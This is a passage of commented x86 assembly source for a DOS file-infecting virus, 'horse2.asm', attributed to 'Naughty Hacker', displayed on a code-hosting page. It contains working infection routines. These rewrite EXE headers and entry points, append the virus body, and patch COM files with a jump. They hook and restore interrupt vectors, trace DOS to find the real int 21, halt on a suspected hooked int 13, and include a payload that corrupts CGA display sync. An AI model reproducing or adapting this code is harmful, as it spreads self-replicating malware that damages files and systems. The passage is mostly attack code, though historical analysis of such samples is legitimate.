📄 horse2.asm
字号:
JZ CheckForEXE ; If so -> infect it
JMP SkipFile ; Else skip file
CheckForEXE: CMP ES:[DI+17],45 ; Check if file is realy an EXE-named
JZ CheckEXEsign ; If so -> check for MZ,ZM
JMP SkipFile ; Else skip file
CheckEXEsign: CMP [SI],5A4Dh ; Check for MZ
JZ InfectEXE ; If so -> infect file
CMP [SI],4D5Ah ; Check for ZM
JZ InfectEXE ; If so -> infect file
JMP SkipFile ; Otherwise -> skip file
InfectEXE: MOV byte ptr [ComFlag],45h ; Set file type flag to EXE
MOV AX,[SI+0Eh] ; Load AX with EXE file SS
MOV [SSegment],AX ; and save it
MOV AX,[SI+14h] ; Load AX with EXE header IP
MOV [IPointer],AX ; and save it
MOV AX,[SI+16h] ; Load AX with EXE header CS
MOV [CSegment],AX ; And save it
MOV DX,offset LastCode ; Load DX with virus CODE size
PUSH DX ; Save it to stack
MOV CX,9h ; Compute virus size in
SHR DX,CL ; 512 pages
ADD [SI+04h],DX ; Increase EXE file header size field
; with virus pages
POP DX ; Restore virus size in DX
AND DX,01FFh ; Compute reminder from VirusSize/512
ADD DX,[SI+02] ; Save value in EXE header
CMP DX,0200 ; Check virus reminder
JL NoAdjustRem ; If less than 512 -> no adjust
SUB DX,0200 ; Else decrease reminder
INC word ptr [SI+04] ; Increase EXE header page count
NoAdjustRem:
MOV [SI+02],DX ; Save correct reminder in EXE header
MOV AX,[SI+08] ; Load AX with file size in paragraphs
SUB DX,DX ; Set DX to Zero
CALL LongMultiple16 ; Get DX:AX file size in bytes
SUB [offset FileSizeLow],AX ; Correct saved file size
SBB [offset FileSizeHi],DX
MOV AX,[FileSizeLow] ; Load DX:AX with corrected file size
MOV DX,[offset FileSizeHi]
CALL LongMultiple16 ; DX:AX *= 0x10
MOV CX,0008 ; Calculate new entry CS:IP
SHL DX,CL ; DX/=0x100
MOV CX,0004
SHR AX,CL ; AX/=0x10
MOV [SI+14],AX ; Set entry CS:IP to EXE header
MOV [SI+16],DX
MOV [NewCS],DX ; Save new entry CS
ADD DX,0200 ; Calculate new entry SS
MOV [SI+0E],DX ; Store it to EXE header
DoInfect:
MOV ES:[DI+04],0000 ; Set file pointer to 0L
MOV ES:[DI+06],0000
PUSH ES:[DI-02] ; Save file date/time on stack
PUSH ES:[DI-04]
SUB CX,CX ; Set CX to 0
XCHG CX,ES:[DI-0Dh] ; Load CX file attrib/set file attrib to 0
PUSH CX ; Save file attrib to stack
MOV AH,40 ; Write file
MOV DX,offset LastByte ; EXE header
MOV CX,001B ; Rewrite modified EXE header
INT 21 ; Do write
JC BadWrite ; If error skip file
MOV AX,ES:[DI] ; Set file pointer
MOV ES:[DI+04],AX
MOV AX,ES:[DI+02] ; to end of file
MOV ES:[DI+06],AX ;
MOV AH,40 ; Will write
SUB DX,DX ; Virus offset
MOV CX,offset LastCode ; Virus size
INT 21 ; Write virus to EXE file
BadWrite:
POP CX ; Restore file attrib from stack
MOV ES:[DI-0Dh],CX ; Set attrib of file
POP CX ; Restore file date/time from stack
POP DX
OR byte ptr ES:[DI-0Bh],40 ; Set DO NOT UPDATE TIME flag in table
JC NoFuckTime ; If write error -> Set normal time
OR CX,001F ; Else set file seconds to 62
NoFuckTime:
MOV AX,5701 ; Set file date/time
INT 21 ; Via int21
SkipFile:
MOV AH,3E ; CloseFile
INT 21
OR byte ptr ES:[DI-0Ch],40 ; ????
SUB AX,AX ; Set DS to 0
MOV DS,AX
POP AX ; Restore int 13 seg
MOV [004E],AX ; Restore vector 13 seg
POP AX ; Restore int 13 off
MOV [004C],AX ; Restore vector 13 off
POP AX ; Restore int 24 seg
MOV [0092],AX ; Restore vector 24 seg
POP AX ; Restore int 24 off
MOV [0090],AX ; Restore vector 24 off
POP AX ; Restore int 21 seg
MOV [0086],AX ; Restore vector 21 seg
POP AX ; Restore int 21 off
MOV [0084],AX ; Restore vector 21 off
POP AX ; Restore int 8 seg
MOV [0022],AX ; Restore vector 8 seg
POP AX ; Restore int 8 off
MOV [0020],AX ; Restore vector 0 off
JMP ErrorProcess ; Update counter
InfectCom:
TEST byte ptr ES:[DI-0Dh],04 ; Check for SYSTEM file
JNZ OkComFile ; If file IS system -> Damage file ?????
PUSH SI ; Save buffer offset
CMP ES:[DI+17],43 ; Check if file ext begin with 'C'
JNZ OkComFile ; If no -> damage file
MOV byte ptr [ComFlag],43 ; Set file type flag to COM
LODSW ; Load first 2 bytes of file
MOV CS:[First3],AX ; And save them
LODSW ; Load seconf 2 bytes of file
MOV CS:[First3+2],AX ; And save them
MOV AX,ES:[DI] ; Load AX with file size
CMP AX,0FA76h ; Check file size
POP SI ; Restore buffer offset
JC OkComFile ; If file is less than 64118 bytes -> OK infect
JMP short SkipFile ; else skip file
OkComFile:
SUB AX,0003 ; Calculate jump argument
MOV byte ptr [SI],0E9h ; Set first instruction to near JMP
MOV [SI+01],AX ; Store JMP argument
JMP DoInfect ; Go write buffer
LongMultiple16:
PUSH CX ; Save CX
MOV CX,0004 ; Will repeat 4 times
DoMult:
SHL AX,1 ; Mult DX:AX * 2
RCL DX,1 ;
LOOP DoMult ; Repeat 4 times -> 2^4 = 16
POP CX ; Restore CX
RET ; Return to caller
SetUp:
MOV AH,52 ; Get DOS's table of table address
INT 21 ; in ES:BX
MOV CS:[Offset TableSegment],es ; Save table segment
; Virus treat this segment as DOS segment
; He assume int21 seg == to DOS segment
; That's why virus will fail on DOS 5.X
CLI ; Disable interrupts
SUB AX,AX ; Set AX to 0
MOV DS,AX ; Set DS point to interrupt vectors
MOV [0004],offset Debugger ; Set vector 1 (trap) offset
MOV [0006],CS ; ; Set vector 1 (trap) seg
MOV AX,[00BC] ; Load int2F off
MOV CS:[offset Int2Foff],AX ; and save it
MOV AX,[00BE] ; Load int2F seg
MOV CS:[offset Int2Fseg],AX ; and save it
STI ; Enable interrupts
PUSHF ; Save flags
PUSHF ; Save flags
POP AX ; Get flags in AX
OR AX,0100 ; Set TF to 1 (trace mode)
PUSH AX ; Put flags back to stack
POPF ; Begin trace
SUB AX,AX ; AX = 0
DEC AH ; AX = FF00 ???
CALL dword ptr [0084] ; Call DOS (trace mode active)
MOV SI,0004 ; SI = 4
MOV DS,SI ; DS = SI = 4
MOV AH,30 ; Get DOS version
INT 21 ; Via int21
CMP AX,1E03 ; Check DOS 3.30
LES AX,[SI+08] ; Load ES:AX with int13 address
JB OkInt13 ; If DOS vers < 3.30 -> ignore BIOS address load/check
LES AX,[0770+SI] ; then load ES:DX with BIOS address of int13
; simulate int2F, AH=13
MOV BX,ES ; BX:AX int13 BIOS address
CMP BX,0C800h ; If int13 seg >= C800
JAE OkInt13 ; Then address is in BIOS, all OK
CLI ; else HALT system
HLT
OkInt13:
MOV CS:[offset Int13off],AX ; Save in13 address
MOV CS:[offset Int13seg],ES
IRET ; Return to caller, setup complete
Debugger:
PUSH BP ; Save BP
MOV BP,SP ; BP point to stack top
PUSH BX ; Save BX
MOV BX,CS:[offset TableSegment] ; Load BX with DOS segment
CMP SS:[BP+04],BX ; Check debugged address
JNZ ContinueDebug ; If not in DOS -> continue
MOV BX,SS:[BP+02] ; else load BX with int21 off
MOV CS:[offset Dos21off],BX ; and save it
AND SS:[BP+06],0FEFFh ; Clear trap flag
ContinueDebug:
POP BX ; Restore BX
POP BP ; Restore BP
IRET ; Continue trace if require or
; continue int21 execution without trace
; Next subroutine fuck you CGA display (don't affect EGA).
; Fucking result could be fix by dos MODE command
VideoFuck:
MOV DX,03D4h ; Select CGA register selector
MOV AL,02 ; Select CRT register 2 (horiz sync)
OUT DX,AL ; Do selection
MOV AL,0FFh ; New sync value
MOV DX,03D5h ; Select CGA register value writer
; This could be INC DX; That save 1 byte
OUT DX,AL ; Fuck horiz sync
JMP EndInt21 ; Terminate int21 request
CallDOS:
PUSHF ; Save flags
CALL dword ptr CS:[offset Dos21off] ; Call ORIGINAL int21
RET ; Return to caller
CallInt2F:
PUSHF ; Save flags
CALL dword ptr CS:[offset Int2Foff] ; Call SAVED int2F
RET ; Return to caller
TimerHandler:
PUSHF ; Save flags
CALL dword ptr CS:[offset TimerOff] ; Call original timer
PUSH AX ; Save AX
PUSH DS ; Save DS
SUB AX,AX ; Set DS to interrupt table
MOV DS,AX
CLI ; Disable interrupts
MOV AX,CS:[offset Int13off] ; Restore int13 address
MOV [004C],AX
MOV AX,CS:[offset Int13seg]
MOV [004E],AX
MOV [0020],offset TimerHandler ; Set int8
MOV [0022],CS
MOV AX,CS:[offset Dos21off] ; Restore int21 address
MOV [0084],AX
MOV AX,CS:[offset TableSegment]
MOV [0086],AX
MOV AX,offset CriticalError ; Set int24
MOV [0090],AX
MOV [0092],CS
STI ; Enable interrupts
POP DS ; Restore DS
POP AX ; Restore AX
IRET ; Terminate timing
CriticalError:
MOV AL,03 ; If critical error
IRET ; then simulate Ignore
VirusAuthor:
db 'Sofia,Feb '
db 27h
db '91 Naughty Hacker.' ; Replace this string with HORSE
EndAuthor:
LastCode label byte ; This is virus in file
Int21off: DW 0 ; Variable area
Int21seg: DW 0 ; NOT writed in file
Int2Foff: DW 0
Int2Fseg: DW 0
TimerOff: DW 0
TimerSeg: DW 0
Int13off: DW 0
Int13seg: DW 0
Dos21off: DW 0
TableSegment: DW 0
FileSizeLow: DW 0
FileSizeHi: dw 0
FunCounter: dw 0 ; Executed function counter
LastByte: label byte ; Memory size of virus
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -